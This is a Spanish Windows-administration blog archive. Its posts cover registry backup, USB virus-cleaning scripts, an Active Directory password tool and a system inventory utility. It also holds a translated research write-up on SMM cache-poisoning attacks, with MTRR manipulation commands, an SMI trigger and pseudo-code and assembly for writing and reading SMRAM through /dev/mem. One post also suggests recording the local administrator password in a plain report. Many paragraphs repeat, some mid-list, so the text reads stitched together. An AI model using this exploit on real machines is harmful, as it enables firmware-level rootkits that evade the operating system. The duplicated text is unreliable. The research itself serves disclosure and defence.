El registro de Windows es su columna vertebral. Ahí reside toda la configuración tanto de Windows como de la mayoría del software instalado en tu sistema.
El registro de Windows es complejo y delicado, por eso conviene que lo cuides. Más de una vez he comprobado que puede producirse algún problema en él sin motivo aparente y hacer que Windows simplemente no arranque o que no pueda trabajar con él o con algún software.
El registro de Windows XP son 5 archivos ubicados en C:\Windows\System32\Config llamados:
default
SAM
SECURITY
software
system
Y es conveniente que hagas, de vez en cuando, una copia de seguridad de ellos cuando tu sistema funciona correctamente. Como alguno de esos archivos no se puede copiar directamente en una sesión normal porque están siendo utilizados, lo más sencillo es arrancar el ordenador con el CD de Windows XP y cuando aparezca el menú de instalación de Windows elige iniciar la consola de recuperación.
Una vez en la consola, puedes utilizar estos comandos para salvar el registro:
c:
cd \
cd windows
cd system32
cd config
mkdir BACK
copy default .\BACK
copy SAM .\BACK
copy SECURITY .\BACK
copy software .\BACK
copy system .\BACK
Y listo. Reinicia el ordenador y en la carpeta C:\Windows\System32\Config\BACK tendrás los 5 archivos del registro disponibles. Para mayor seguridad y comodidad, comprímelos y guarda esa copia comprimida fuera del disco duro, en otro disco o en un pendrive.
Para restaurar la copia de seguridad en caso de problemas, inicia igual que antes la consola de recuperación e introduce los siguientes comandos en la consola:
c:
cd \
cd windows
cd system32
cd config
cd BACK
copy default ..
copy SAM ..
copy SECURITY ..
copy software ..
copy system ..
Después reinicia el ordenador y mira a ver que tal.
domingo, 12 de julio de 2009
domingo, 21 de junio de 2009
Elimina virus de pendrives, más mejor
Como vimos en el anterior post, podemos eliminar archivos sospechosos de los pendrives u otros dispositivos de almacenamiento USB con la utilidad limpia_mem_usb.vbs.
Revisando el script me dí cuenta de que tiene una carencia importante: elimina archivos fijándose en su extensión. Puede darse el caso de que la memoria USB tenga archivos de virus ejecutables renombrados con extensiones de confianza, como TXT (archivo de texto) y pasarían desapercibidos. Si la memoria USB contiene un autorun.inf con las líneas adecuadas, podría ejecutar esos archivos ejecutables con extensión TXT y el virus produciría su infección.
Otro detalle del script es que no informa al usuario de los archivos que va a eliminar.
Además, el script sólo actúa en unidades USB, y no en otros medios extraíbles que también pueden contener virus, como memorias SD.
Para tener en cuenta estos factores, he realizado otra utilidad nueva limpia_medios_extraibles.exe, esta vez escrita en Perl y que tiene las siguientes características nuevas:
Revisando el script me dí cuenta de que tiene una carencia importante: elimina archivos fijándose en su extensión. Puede darse el caso de que la memoria USB tenga archivos de virus ejecutables renombrados con extensiones de confianza, como TXT (archivo de texto) y pasarían desapercibidos. Si la memoria USB contiene un autorun.inf con las líneas adecuadas, podría ejecutar esos archivos ejecutables con extensión TXT y el virus produciría su infección.
Otro detalle del script es que no informa al usuario de los archivos que va a eliminar.
Además, el script sólo actúa en unidades USB, y no en otros medios extraíbles que también pueden contener virus, como memorias SD.
Para tener en cuenta estos factores, he realizado otra utilidad nueva limpia_medios_extraibles.exe, esta vez escrita en Perl y que tiene las siguientes características nuevas:
- Detecta y elimina archivos ejecutables independientemente de su extensión.
- Muestra los archivos sospechosos al usuario y una confirmación antes de eliminarlos.
- Extiende su acción a cualquier medio extraíble reconocido por Windows.
Suerte con la cacería.
miércoles, 17 de junio de 2009
Elimina virus de pendrives
En el mundo de Windows, últimamente no hay pendrive de alguien que pase por mis manos que no tenga algún virus.
Los pendrives, conocidos también como memorias USB tienen la gran ventaja de que puedes transportar unos cuantos GB en el espacio de un mechero y puedes acceder a ello prácticamente en cualquier ordenador o aparato que soporte USB.
La desventaja es, que además de llevar consigo tus archivos, también puedes llevar unos cuantos virus de regalo sin que lo sepas. Los virus suelen alojarse en el directorio principal del pendrive en la forma de archivos ejecutables y normalmente están ocultos y protegidos para pasar inadvertidos al usuario.
No voy a hablar del proceso de infección con los pendrives (gracias al famoso archivo desencadenante de la infección autorun.inf), pero sí he preparado una pequeña utilidad realizada en Visual Basic Script para eliminar archivos sospechosos (candidatos a ser virus, incluyendo el mencionado autorun.inf) de cualquier pendrive que conectes a tu ordenador.
La utilidad está comprimida en un archivo disponible en este enlace de descarga y se llama limpia_mem_usb.zip. Cuando descomprimes este archivo, obtienes el archivo de la utilidad en sí que se llama limpia_mem_usb.vbs.
Al abrir limpia_mem_usb.vbs, éste comprueba si hay alguna memoria USB conectada al ordenador, si es así aparece una ventana indicando la letra de unidad detectada de la memoria USB y te pregunta si quieres limpiarla. Si le dices que Si, la utilidad eliminará los archivos de la memoria USB ubicados en su directorio principal con las siguientes extensiones sospechosas: sys, drv, ps1, vbs, msp, exe, com, dll, inf, scr, pif, dat, tmp, cmd, bat, lnk. Si la utilidad detecta más memorias USB, preguntará de nuevo indicando la nueva letra de unidad detectada para proceder con la limpieza.
Advertencia: este script está diseñado para eliminar archivos ejecutables (.exe, .msp, etc.) que estén alojados en el directorio principal del pendrive. Si has guardado ahí algún archivo de este tipo o si ya había alguno, será eliminado.
Novedad: tienes disponible una versión mejorada de esta utilidad que se llama limpia_medios_extraibles.exe. La puedes descargar desde aquí y te recomiendo que leas este post para que veas las mejoras respecto a la versión anterior.
Los pendrives, conocidos también como memorias USB tienen la gran ventaja de que puedes transportar unos cuantos GB en el espacio de un mechero y puedes acceder a ello prácticamente en cualquier ordenador o aparato que soporte USB.
La desventaja es, que además de llevar consigo tus archivos, también puedes llevar unos cuantos virus de regalo sin que lo sepas. Los virus suelen alojarse en el directorio principal del pendrive en la forma de archivos ejecutables y normalmente están ocultos y protegidos para pasar inadvertidos al usuario.
No voy a hablar del proceso de infección con los pendrives (gracias al famoso archivo desencadenante de la infección autorun.inf), pero sí he preparado una pequeña utilidad realizada en Visual Basic Script para eliminar archivos sospechosos (candidatos a ser virus, incluyendo el mencionado autorun.inf) de cualquier pendrive que conectes a tu ordenador.
La utilidad está comprimida en un archivo disponible en este enlace de descarga y se llama limpia_mem_usb.zip. Cuando descomprimes este archivo, obtienes el archivo de la utilidad en sí que se llama limpia_mem_usb.vbs.
Al abrir limpia_mem_usb.vbs, éste comprueba si hay alguna memoria USB conectada al ordenador, si es así aparece una ventana indicando la letra de unidad detectada de la memoria USB y te pregunta si quieres limpiarla. Si le dices que Si, la utilidad eliminará los archivos de la memoria USB ubicados en su directorio principal con las siguientes extensiones sospechosas: sys, drv, ps1, vbs, msp, exe, com, dll, inf, scr, pif, dat, tmp, cmd, bat, lnk. Si la utilidad detecta más memorias USB, preguntará de nuevo indicando la nueva letra de unidad detectada para proceder con la limpieza.
Advertencia: este script está diseñado para eliminar archivos ejecutables (.exe, .msp, etc.) que estén alojados en el directorio principal del pendrive. Si has guardado ahí algún archivo de este tipo o si ya había alguno, será eliminado.
Novedad: tienes disponible una versión mejorada de esta utilidad que se llama limpia_medios_extraibles.exe. La puedes descargar desde aquí y te recomiendo que leas este post para que veas las mejoras respecto a la versión anterior.
jueves, 28 de mayo de 2009
PowerShell, Directorio Activo y contraseñas
Si administras un Directorio Activo, te habrás dado cuenta que, a medida que hay más usuarios, mayor es la frecuencia de despistados que te llaman para reestablecer su contraseña. Esta tarea cada vez se vuelve más repetitiva y monótona.
Minimizar al máximo este proceso sin gastarte un duro extra y hacerlo desde tu propio ordenador conectado al dominio es posible si instalas PowerShell y ActiveRoles Management Shell for Active Directory. Estos últimos son unos Cmdlets que ha creado Quest para extender la capacidad de PowerShell al Directorio Activo. Estas dos herramientas unidas en tu ordenador conectado al dominio hacen posible que desde él puedas cambiar la contraseña de un usuario en una sóla línea de código.
Minimizar al máximo este proceso sin gastarte un duro extra y hacerlo desde tu propio ordenador conectado al dominio es posible si instalas PowerShell y ActiveRoles Management Shell for Active Directory. Estos últimos son unos Cmdlets que ha creado Quest para extender la capacidad de PowerShell al Directorio Activo. Estas dos herramientas unidas en tu ordenador conectado al dominio hacen posible que desde él puedas cambiar la contraseña de un usuario en una sóla línea de código.
Este script ( ADSetUserPass.ps1) escrito en PowerShell amplia esta funcionalidad ofreciendo además las siguientes comprobaciones:
- Comprueba que el usuario proporcionado existe en el dominio.
- Comprueba que la contraseña es correcta introduciéndola dos veces.
- Comprueba que la contraseña tiene al menos 6 caracteres.
Para que este script tenga éxito es conveniente que lo ejecute un usuario que al menos tenga permisos de administración de cuentas en el dominio. Lo más sencillo es utilizar el comando runas especificando como argumento al usuario administrador del dominio. Por otro lado, tengo que aclarar que este script funciona en un dominio llamado DOMINIO. Si tu dominio tiene otro nombre, sustitúyelo en la línea 36 del script:
$userdom = "DOMINIO\"+$user
Más información y utilidades:
PowerGUI, un editor para PowerShell bastante ligero y completo.
$userdom = "DOMINIO\"+$user
Más información y utilidades:
PowerGUI, un editor para PowerShell bastante ligero y completo.
lunes, 20 de abril de 2009
Informe del Sistema 1.0 disponible
La versión 1.0 de infosis (Informe del Sistema) acabo de publicarla hoy y se encuentra disponible en el siguiente enlace:
http://sites.google.com/site/ramiroencinas/soft/infosis.zip
Se trata de un pequeño ejecutable realizado en VBNet que recopila información hardware/software del Windows XP donde se encuentre (creo que también funciona para Windows Vista). Es útil para administradores de sistemas que quieran realizar un informe completo de un ordenador para después tener información adecuada para resolver incidencias.
http://sites.google.com/site/ramiroencinas/soft/infosis.zip
Se trata de un pequeño ejecutable realizado en VBNet que recopila información hardware/software del Windows XP donde se encuentre (creo que también funciona para Windows Vista). Es útil para administradores de sistemas que quieran realizar un informe completo de un ordenador para después tener información adecuada para resolver incidencias.
El aspecto de la utilidad una vez iniciada es la siguiente:
El campo de observaciones está bien para incluir en el informe la password del administrador local del sistema. Si lo dejamos en blanco no pasa nada.
Después de pensar en las observaciones, clicas en Siguiente y empezará a recopilar la información. Cuando termine puedes ver el resultado clicando en el botón Mostrar. El informe es un archivo HTML con el nombre del ordenador, y lo encontrarás en la misma carpeta donde infosis.exe se haya ejecutado.
El comienzo del informe de mi ordenador es el siguiente:
Después de pensar en las observaciones, clicas en Siguiente y empezará a recopilar la información. Cuando termine puedes ver el resultado clicando en el botón Mostrar. El informe es un archivo HTML con el nombre del ordenador, y lo encontrarás en la misma carpeta donde infosis.exe se haya ejecutado.
El comienzo del informe de mi ordenador es el siguiente:
Como puedes ver, el fabricante de mi placa base (que es MSI) sólo se tomó la molestia de indicar el campo Modelo para identificar su producto a Windows, no indicando el número de serie y el fabricante de la placa base. Por contra, otros fabricantes como HP o Fujitsu son totalmente fiables en estos campos.
El informe primero registra el hardware y a continuación el software:
Sistema central
- Número de serie
El informe primero registra el hardware y a continuación el software:
Sistema central
- Número de serie
- Fabricante de la placa base
- Modelo
- Arquitectura
- RAM
- Procesador
Discos duros
- Letra de unidad
Discos duros
- Letra de unidad
- Modelo
- Capacidad
Unidades lógicas
- Letra de unidad
Unidades lógicas
- Letra de unidad
- Sistema de archivos
- Espacio total
- Espacio ocupado
- Espacio libre
- Espacio ocupado/libre (gráfica)
CD/DVD ROM
- Letra de unidad
CD/DVD ROM
- Letra de unidad
- Marca y modelo
Adaptadores de red
- Descripción del adaptador de red
Adaptadores de video
- Descripción del adaptador de video
Adaptadores de sonido
- Descripción del adapatador de sonido
Sistema Operativo
- Nombre
Adaptadores de red
- Descripción del adaptador de red
Adaptadores de video
- Descripción del adaptador de video
Adaptadores de sonido
- Descripción del adapatador de sonido
Sistema Operativo
- Nombre
- Versión
- Service Pack
- Unidad de arranque
- Partición de inicio
- Directorio de Windows
Config. de red (del adaptador de red que tenga IP)
- Adaptador de red
Config. de red (del adaptador de red que tenga IP)
- Adaptador de red
- MAC
- IP
- Máscara de subred
- Puerta de enlace predeterminada
- Servidores DNS
- DHCP Activado (si o no)
- Servidor DHCP (si DHCP Activado es si)
- Dominio/Grupo de trabajo
Software instalado
- Descripción
Software instalado
- Descripción
- Versión
- Fabricante
Si lo pruebas, te agradeceré que me reportes tu parecer para mejorarlo.
Si lo pruebas, te agradeceré que me reportes tu parecer para mejorarlo.
domingo, 22 de marzo de 2009
Rootkits de firmware
Interesante artículo de Invisible Things Labs donde muestran cómo hackear la memoria SMM, la zona de memoria más privilegiada del firmware de algunas placas base modernas de Intel.
A continuación, una traducción que he realizado de la parte más relevante:
3. Detalles del ataque
Ahora describiremos como realizar el envenenamiento de caché para lograr acceso a la SMRAM. Asumimos que el atacante tiene acceso a cierta plataforma con registros MSR. En la práctica esto es equivalente a que el atacante tenga privilegios de administrador en el sistema objetivo, y en otros sistemas, como Windows, la habilidad de cargar y ejecutar código arbitrario en el kernel.
- 1. El atacante primero tiene que modificar los registros MTRR del sistema para marcar la región de la memoria del sistema donde la SMRAM está en modo cacheable de tipo Write-Back (WB).
- 2. Ahora, el atacante realiza accesos de escritura a las direcciones físicas correspondientes a las ubicaciones donde se encuentra la SMRAM. Estos accesos serán cacheados debido a que hemos marcado este rango de direcciones físicas como cacheable WB. Habitualmente, las direcciones físicas que corresponden con la ubicación de la SMRAM pueden ser no cacheables y cualquier acceso de escritura a estas direcciones puede ser abortado por el controlador de memoria (chipset).
- 3. Por último, el atacante necesita lanzar un SMI que transferirá la ejecución al código SMM. La CPU comenzará a ejecutar el código SMM, pero primero seguirá las instrucciones de la caché antes de leerlas de la DRAM. Debido a que el atacante en el punto 2 realizó accesos de escritura en las ubicaciones de la SMRAM, la CPU procesará los datos de la caché proporcionados por el atacante y los ejecutará como un manipulador SMI, con todos los privilegios de la SMM.
El escenario anterior permite una sobreescritura arbitraria en la memoria SMM (y una posterior ejecución de código de estos datos arbitrarios escritos en la SMM. Se puede pensar en un ataque similar que pueda permitir la lectura de la memoria SMM. Esto es especialmente útil para poner en práctica una explotación, donde el atacante primero debería obtener los offsets específicos del firmware para generar un código fiable que ejecute el exploit (lo veremos en el siguiente capítulo). En el caso actual, la secuencia de eventos sería:
- 1. De nuevo, el atacante primero marca a la SMRAM en modo cacheable WB manipulando los registros MTRR del sistema.
- 2. Ahora el atacante necesita lanzar un SMI que produzca la ejecución del manipulador original. Esto también tendrá un efecto colateral en la mayoría de las instrucciones que se cacheen.
- 3. Por último, el atacante debería leer la caché, preferiblemente utilizando una instrucción no invasiva como movnti, que no contamine la caché con datos nuevos.
4. La explotación puesta en práctica
En sistemas Linux, el usuario root puede modificar los MTRRs mediante el pseudo-archivo /proc/mtrr. Si asumimos que tu sistema tiene una placa base DQ35 de Intel con 2GB de RAM es posible que el "mapa de caché" de tu memoria sea parecido a esto:
[root@localhost ~]# cat /proc/mtrr
reg00: base=0x00000000 ( 0MB), size=2048MB: write-back, count=1
reg01: base=0x7f000000 (2032MB), size=16MB: uncachable, count=1
reg02: base=0x7e800000 (2024MB), size=8MB: uncachable, count=1
reg03: base=0x7e400000 (2020MB), size=4MB: uncachable, count=1
reg04: base=0x7e200000 (2018MB), size=2MB: uncachable, count=1
Aquí vemos que la primera entrada (reg00) está marcando a toda la memoria como cacheable Write-Back. Después vemos unas cuantas regiones de memoria "excepcionales" marcadas como no cacheables. Una de estas regiones (reg03) corresponde con la memoria donde está ubicado el segmento TSEG de la SMM.
Tan simple como eliminar esta entrada MTRR del TSEG con el siguiente comando:
echo "disable=3" > /proc/mtrr
En otros sistemas puede que no tengamos la entrada cacheable WB por defecto (como hemos visto antes) y entonces tendríamos que modificar manualmente la entrada MTRR del TSEG para indicar el tipo de cacheo como Write-Back (crucial para el ataque).
En sistemas Windows podemos modificar los MTRRs utilizando las instrucciones WRMSR estándar.
Una vez marcada la memoria TSEG como cacheable WB, tan simple como hacer esto:
*(ptr) = datos_perversos;
outb 0x00, 0xb2 // lanza el SMI
Donde ptr, por ejemplo, puede ser un puntero a una dirección virtual mapeada a la dirección física dentro del segmento TSEG. Una forma sencilla de conseguir esto es utilizar el dispositivo /dev/mem en Linux o el objeto \Device\PhysicalMemory de Windows.
¡Y ya está!
Ahora, cuando se genera el SMI (en sistemas Intel puede realizarse fácilmente con sólo una instrucción como vimos antes), y si se ejecutan las instrucciones de las direcciones físicas que hemos puesto en "datos_perversos", la CPU procesará estos datos perversos de la caché y los ejecutará en vez de ejecutar las instrucciones originales SMM de la DRAM. Es necesario decir que podemos estar seguros que la CPU siempre ejecutará nuestras instrucciones sobreescribiendo el punto de entrada del manipulador SMI.
En los sistemas DQ35 en particular, uno puede ver que el manipulador SMI ejecuta el siguiente código (localizado en TSEG) poco después del punto de entrada de SMM:
mov $0x7e5fcfe0,%rsp
mov 0x8(%rsp),%rax
mov (%rsp),%ecx
callq *(%rax)
Después, la ejecución de código en el SMM puede conseguirse con el siguiente pseudo-código (asumiendo que tenemos también ubicado un buffer cuya dirección física está en la variable myaddr):
fd = open("/dev/mem", O_RDWR);
*ptr = mmap (…, fd, …, 0x7e500000);
ptr2 = ptr + 0xfcfe0; // 1st core
ptr2[1] = myaddr;
ptr2 = ptr + 0xfefe0; // 2nd core
ptr2[1] = myaddr;
iopl(3); // allow IN/OUT from usermode
smi(); // trigger SMI#
El exploit tiene varias constantes hard-coded que necesitan ajustarse para sistemas distintos al DQ35 con 2GB de RAM. Además, para simplificar utilizamos un módulo kernel dedicado para ubicar el buffer del shellcode y así calcular su dirección física. El shellcode del exploit no hace nada espectacular, sólo incrementa un contador que se puede ver mediante /proc/mymem, que es un pseudo-archivo creado por el módulo, y por tanto, este exploit es inofensivo (también tiene la prudencia de ejecutar el código SMM original).
Como vemos, la explotación se puede conseguir incluso desde el modo usuario (escalando desde el anillo 3 hasta el SMM), asumiendo que el sistema operativo permita operaciones de E/S y manipulación del MTRR desde el modo usuario. La mayoría de los sistemas Linux permiten al usuario root realizar lo mencionado mientras que en Windows no. Esto también quiere decir que el ataque anterior pueder ser utilizado de una forma potencial utilizando escalada de privilegios desde el entorno usuario hasta el kernel en sistemas que tienen especial cuidado en proteger el kernel, por ej., deshabilitando el soporte LKM y bloqueando escrituras en dispositivos /dev/(k)mem. No hemos intentado nuestro ataque en sistemas de este tipo.
Para realizar el ataque mencionado es necesario conocer los "offsets" específicos del SMM que utiliza el manipulador SMI.
Hay más de una forma de resolver este problema. Una forma elegante es utilizar el mismo ataque de cacheo para leer, en vez de escribir, la memoria SMM.
El siguiente pseudo-código es un exploit que puede utilizarse para leer código SMM:
fd = open("/dev/mem", O_RDWR);
*ptr = mmap (…, fd, …, 0x7e500000);
memset(outbuf, 0, sizeof(outbuf));
iopl(3);
smi();
asm("push %rsi\n"
"push %rdi\n"
"mov $0x40000, %ecx\n"
"mov $outbuf, %rdi\n"
"mov ptr, %rsi\n"
"lp:\n"
"mov (%rsi), %eax\n"
"movnti %eax, (%rdi)\n"
"add $4, %rdi\n"
"add $4, %rsi\n"
"loop lp\n"
"pop %rdi\n"
"pop %rsi\n"
"mfence");
write(1, outbuf, SIZE); // stdout
El truco es la instrucción movnti que puede utilizarse para leer datos desde la caché (datos dejados por el manipulador SMI en el modo de cacheo WB) sin contaminar la caché con datos nuevos. De esta forma no elimina datos interesantes de la caché antes de que puedan ser leidos. Con este método sólo podemos leer aquellas direcciones que haya ejecutado el manipulador SMI.
A continuación, una traducción que he realizado de la parte más relevante:
3. Detalles del ataque
Ahora describiremos como realizar el envenenamiento de caché para lograr acceso a la SMRAM. Asumimos que el atacante tiene acceso a cierta plataforma con registros MSR. En la práctica esto es equivalente a que el atacante tenga privilegios de administrador en el sistema objetivo, y en otros sistemas, como Windows, la habilidad de cargar y ejecutar código arbitrario en el kernel.
- 1. El atacante primero tiene que modificar los registros MTRR del sistema para marcar la región de la memoria del sistema donde la SMRAM está en modo cacheable de tipo Write-Back (WB).
- 2. Ahora, el atacante realiza accesos de escritura a las direcciones físicas correspondientes a las ubicaciones donde se encuentra la SMRAM. Estos accesos serán cacheados debido a que hemos marcado este rango de direcciones físicas como cacheable WB. Habitualmente, las direcciones físicas que corresponden con la ubicación de la SMRAM pueden ser no cacheables y cualquier acceso de escritura a estas direcciones puede ser abortado por el controlador de memoria (chipset).
- 3. Por último, el atacante necesita lanzar un SMI que transferirá la ejecución al código SMM. La CPU comenzará a ejecutar el código SMM, pero primero seguirá las instrucciones de la caché antes de leerlas de la DRAM. Debido a que el atacante en el punto 2 realizó accesos de escritura en las ubicaciones de la SMRAM, la CPU procesará los datos de la caché proporcionados por el atacante y los ejecutará como un manipulador SMI, con todos los privilegios de la SMM.
El escenario anterior permite una sobreescritura arbitraria en la memoria SMM (y una posterior ejecución de código de estos datos arbitrarios escritos en la SMM. Se puede pensar en un ataque similar que pueda permitir la lectura de la memoria SMM. Esto es especialmente útil para poner en práctica una explotación, donde el atacante primero debería obtener los offsets específicos del firmware para generar un código fiable que ejecute el exploit (lo veremos en el siguiente capítulo). En el caso actual, la secuencia de eventos sería:
- 1. De nuevo, el atacante primero marca a la SMRAM en modo cacheable WB manipulando los registros MTRR del sistema.
- 2. Ahora el atacante necesita lanzar un SMI que produzca la ejecución del manipulador original. Esto también tendrá un efecto colateral en la mayoría de las instrucciones que se cacheen.
- 3. Por último, el atacante debería leer la caché, preferiblemente utilizando una instrucción no invasiva como movnti, que no contamine la caché con datos nuevos.
4. La explotación puesta en práctica
En sistemas Linux, el usuario root puede modificar los MTRRs mediante el pseudo-archivo /proc/mtrr. Si asumimos que tu sistema tiene una placa base DQ35 de Intel con 2GB de RAM es posible que el "mapa de caché" de tu memoria sea parecido a esto:
[root@localhost ~]# cat /proc/mtrr
reg00: base=0x00000000 ( 0MB), size=2048MB: write-back, count=1
reg01: base=0x7f000000 (2032MB), size=16MB: uncachable, count=1
reg02: base=0x7e800000 (2024MB), size=8MB: uncachable, count=1
reg03: base=0x7e400000 (2020MB), size=4MB: uncachable, count=1
reg04: base=0x7e200000 (2018MB), size=2MB: uncachable, count=1
Aquí vemos que la primera entrada (reg00) está marcando a toda la memoria como cacheable Write-Back. Después vemos unas cuantas regiones de memoria "excepcionales" marcadas como no cacheables. Una de estas regiones (reg03) corresponde con la memoria donde está ubicado el segmento TSEG de la SMM.
Tan simple como eliminar esta entrada MTRR del TSEG con el siguiente comando:
echo "disable=3" > /proc/mtrr
En otros sistemas puede que no tengamos la entrada cacheable WB por defecto (como hemos visto antes) y entonces tendríamos que modificar manualmente la entrada MTRR del TSEG para indicar el tipo de cacheo como Write-Back (crucial para el ataque).
En sistemas Windows podemos modificar los MTRRs utilizando las instrucciones WRMSR estándar.
Una vez marcada la memoria TSEG como cacheable WB, tan simple como hacer esto:
*(ptr) = datos_perversos;
outb 0x00, 0xb2 // lanza el SMI
Donde ptr, por ejemplo, puede ser un puntero a una dirección virtual mapeada a la dirección física dentro del segmento TSEG. Una forma sencilla de conseguir esto es utilizar el dispositivo /dev/mem en Linux o el objeto \Device\PhysicalMemory de Windows.
¡Y ya está!
Ahora, cuando se genera el SMI (en sistemas Intel puede realizarse fácilmente con sólo una instrucción como vimos antes), y si se ejecutan las instrucciones de las direcciones físicas que hemos puesto en "datos_perversos", la CPU procesará estos datos perversos de la caché y los ejecutará en vez de ejecutar las instrucciones originales SMM de la DRAM. Es necesario decir que podemos estar seguros que la CPU siempre ejecutará nuestras instrucciones sobreescribiendo el punto de entrada del manipulador SMI.
En los sistemas DQ35 en particular, uno puede ver que el manipulador SMI ejecuta el siguiente código (localizado en TSEG) poco después del punto de entrada de SMM:
mov $0x7e5fcfe0,%rsp
mov 0x8(%rsp),%rax
mov (%rsp),%ecx
callq *(%rax)
Después, la ejecución de código en el SMM puede conseguirse con el siguiente pseudo-código (asumiendo que tenemos también ubicado un buffer cuya dirección física está en la variable myaddr):
fd = open("/dev/mem", O_RDWR);
*ptr = mmap (…, fd, …, 0x7e500000);
ptr2 = ptr + 0xfcfe0; // 1st core
ptr2[1] = myaddr;
ptr2 = ptr + 0xfefe0; // 2nd core
ptr2[1] = myaddr;
iopl(3); // allow IN/OUT from usermode
smi(); // trigger SMI#
El exploit tiene varias constantes hard-coded que necesitan ajustarse para sistemas distintos al DQ35 con 2GB de RAM. Además, para simplificar utilizamos un módulo kernel dedicado para ubicar el buffer del shellcode y así calcular su dirección física. El shellcode del exploit no hace nada espectacular, sólo incrementa un contador que se puede ver mediante /proc/mymem, que es un pseudo-archivo creado por el módulo, y por tanto, este exploit es inofensivo (también tiene la prudencia de ejecutar el código SMM original).
Como vemos, la explotación se puede conseguir incluso desde el modo usuario (escalando desde el anillo 3 hasta el SMM), asumiendo que el sistema operativo permita operaciones de E/S y manipulación del MTRR desde el modo usuario. La mayoría de los sistemas Linux permiten al usuario root realizar lo mencionado mientras que en Windows no. Esto también quiere decir que el ataque anterior pueder ser utilizado de una forma potencial utilizando escalada de privilegios desde el entorno usuario hasta el kernel en sistemas que tienen especial cuidado en proteger el kernel, por ej., deshabilitando el soporte LKM y bloqueando escrituras en dispositivos /dev/(k)mem. No hemos intentado nuestro ataque en sistemas de este tipo.
Para realizar el ataque mencionado es necesario conocer los "offsets" específicos del SMM que utiliza el manipulador SMI.
Hay más de una forma de resolver este problema. Una forma elegante es utilizar el mismo ataque de cacheo para leer, en vez de escribir, la memoria SMM.
El siguiente pseudo-código es un exploit que puede utilizarse para leer código SMM:
fd = open("/dev/mem", O_RDWR);
*ptr = mmap (…, fd, …, 0x7e500000);
memset(outbuf, 0, sizeof(outbuf));
iopl(3);
smi();
asm("push %rsi\n"
"push %rdi\n"
"mov $0x40000, %ecx\n"
"mov $outbuf, %rdi\n"
"mov ptr, %rsi\n"
"lp:\n"
"mov (%rsi), %eax\n"
"movnti %eax, (%rdi)\n"
"add $4, %rdi\n"
"add $4, %rsi\n"
"loop lp\n"
"pop %rdi\n"
"pop %rsi\n"
"mfence");
write(1, outbuf, SIZE); // stdout
El truco es la instrucción movnti que puede utilizarse para leer datos desde la caché (datos dejados por el manipulador SMI en el modo de cacheo WB) sin contaminar la caché con datos nuevos. De esta forma no elimina datos interesantes de la caché antes de que puedan ser leidos. Con este método sólo podemos leer aquellas direcciones que haya ejecutado el manipulador SMI.
domingo, 15 de marzo de 2009
Contra los rootkits: SpyDLLRemover
Nueva utilidad de Nagareshwar Talekar para descubrir rootkits basados en archivos DLL. Analiza los procesos activos y saca sus entresijos. Lo he probado en Windows XP SP3 y he visto cosas muy interesantes.
SpyDLLRemover es una utilidad para detectar y eliminar eficientemente spywares del sistema. Utiliza varias técnicas como la implementación directa de llamada al sistema, detección de manipuladores de procesos CSRSS, método PIDB, etc. para detectar rootkits de entorno de usuario.
El objetivo principal de esta herramienta es ayudar a eliminar DLLs maliciosas rápida y fácilmente mostrando todas las DLLs dentro de los procesos. Para ello se extraen varios niveles de amenaza utilizando técnicas de inyección de DLL empleando una implementación a bajo nivel muy efectiva contra los rootkits de entorno de usuario.
Más info:
http://nagareshwar.securityxploded.com/2009/03/16/spydllremover-detect-delete-spywares-from-the-system/
http://rootkitanalytics.com/userland/spy-dll-remover.php
SpyDLLRemover es una utilidad para detectar y eliminar eficientemente spywares del sistema. Utiliza varias técnicas como la implementación directa de llamada al sistema, detección de manipuladores de procesos CSRSS, método PIDB, etc. para detectar rootkits de entorno de usuario.
El objetivo principal de esta herramienta es ayudar a eliminar DLLs maliciosas rápida y fácilmente mostrando todas las DLLs dentro de los procesos. Para ello se extraen varios niveles de amenaza utilizando técnicas de inyección de DLL empleando una implementación a bajo nivel muy efectiva contra los rootkits de entorno de usuario.
Más info:
http://nagareshwar.securityxploded.com/2009/03/16/spydllremover-detect-delete-spywares-from-the-system/
http://rootkitanalytics.com/userland/spy-dll-remover.php
Suscribirse a:
Entradas (Atom)